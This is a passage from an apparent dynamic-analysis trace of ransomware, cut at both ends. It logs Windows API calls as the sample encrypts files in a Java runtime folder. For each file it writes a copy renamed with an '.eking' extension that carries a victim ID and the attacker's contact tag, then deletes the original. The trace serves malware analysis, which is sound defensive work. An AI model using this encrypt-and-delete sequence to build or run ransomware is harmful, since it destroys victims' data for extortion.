[0237.784] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0237.784] CloseHandle (hObject=0x358) returned 1 [0237.784] CloseHandle (hObject=0x380) returned 1 [0237.787] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0 [0237.788] SetEvent (hEvent=0x2b8) returned 1 [0237.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0237.793] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3285) returned 1 [0237.793] CloseHandle (hObject=0x388) returned 1 [0237.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0237.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0237.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0237.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0237.794] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.794] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0237.795] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xcd5, lpOverlapped=0x0) returned 1 [0237.840] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xce0, lpOverlapped=0x0) returned 1 [0237.842] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0237.843] CloseHandle (hObject=0x388) returned 1 [0237.843] CloseHandle (hObject=0x380) returned 1 [0237.845] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0 [0237.845] SetEvent (hEvent=0x2b8) returned 1 [0237.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0237.847] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3409) returned 1 [0237.847] CloseHandle (hObject=0x380) returned 1 [0237.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0237.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0237.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0237.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0237.848] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.849] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0237.851] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xd51, lpOverlapped=0x0) returned 1 [0237.870] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xd60, lpOverlapped=0x0) returned 1 [0237.872] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0237.872] CloseHandle (hObject=0x380) returned 1 [0237.872] CloseHandle (hObject=0x388) returned 1 [0237.874] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0 [0237.874] SetEvent (hEvent=0x2b8) returned 1 [0237.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0237.875] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4072) returned 1 [0237.875] CloseHandle (hObject=0x388) returned 1 [0237.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0237.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0237.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0237.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0237.876] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.876] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0237.878] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xfe8, lpOverlapped=0x0) returned 1 [0237.930] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xff0, lpOverlapped=0x0) returned 1 [0237.932] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0237.932] CloseHandle (hObject=0x388) returned 1 [0237.932] CloseHandle (hObject=0x380) returned 1 [0237.934] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0 [0237.935] SetEvent (hEvent=0x2b8) returned 1 [0237.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0237.937] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3752) returned 1 [0237.937] CloseHandle (hObject=0x380) returned 1 [0237.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0237.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0237.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0237.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0237.938] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.938] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0237.938] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xea8, lpOverlapped=0x0) returned 1 [0237.970] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xeb0, lpOverlapped=0x0) returned 1 [0237.971] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0237.972] CloseHandle (hObject=0x380) returned 1 [0237.972] CloseHandle (hObject=0x388) returned 1 [0237.974] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0 [0237.975] SetEvent (hEvent=0x2b8) returned 1 [0237.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0237.976] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3752) returned 1 [0237.976] CloseHandle (hObject=0x388) returned 1 [0237.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0237.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0237.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0237.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0237.978] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.978] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0237.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0237.981] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xea8, lpOverlapped=0x0) returned 1 [0238.018] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xeb0, lpOverlapped=0x0) returned 1 [0238.019] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0238.019] CloseHandle (hObject=0x388) returned 1 [0238.020] CloseHandle (hObject=0x380) returned 1 [0238.021] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0 [0238.024] SetEvent (hEvent=0x2b8) returned 1 [0238.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0238.025] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=8590) returned 1 [0238.025] CloseHandle (hObject=0x380) returned 1 [0238.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 0x20 [0238.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 0x20 [0238.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0238.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0238.026] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.026] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0238.027] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x218e, lpOverlapped=0x0) returned 1 [0238.173] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2190, lpOverlapped=0x0) returned 1 [0238.174] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0238.174] CloseHandle (hObject=0x380) returned 1 [0238.175] CloseHandle (hObject=0x388) returned 1 [0238.189] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 0 [0238.189] SetEvent (hEvent=0x2b8) returned 1 [0238.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.193] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=15276) returned 1 [0238.193] CloseHandle (hObject=0x388) returned 1 [0238.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0238.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0238.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0238.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.194] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.194] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0238.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0238.195] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x3bac, lpOverlapped=0x0) returned 1 [0238.552] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x3bb0, lpOverlapped=0x0) returned 1 [0238.555] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0238.555] CloseHandle (hObject=0x388) returned 1 [0238.555] CloseHandle (hObject=0x380) returned 1 [0238.558] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0 [0238.559] SetEvent (hEvent=0x2b8) returned 1 [0238.559] CreateFileW (lpFileName="\\\\?\\C:\\Program 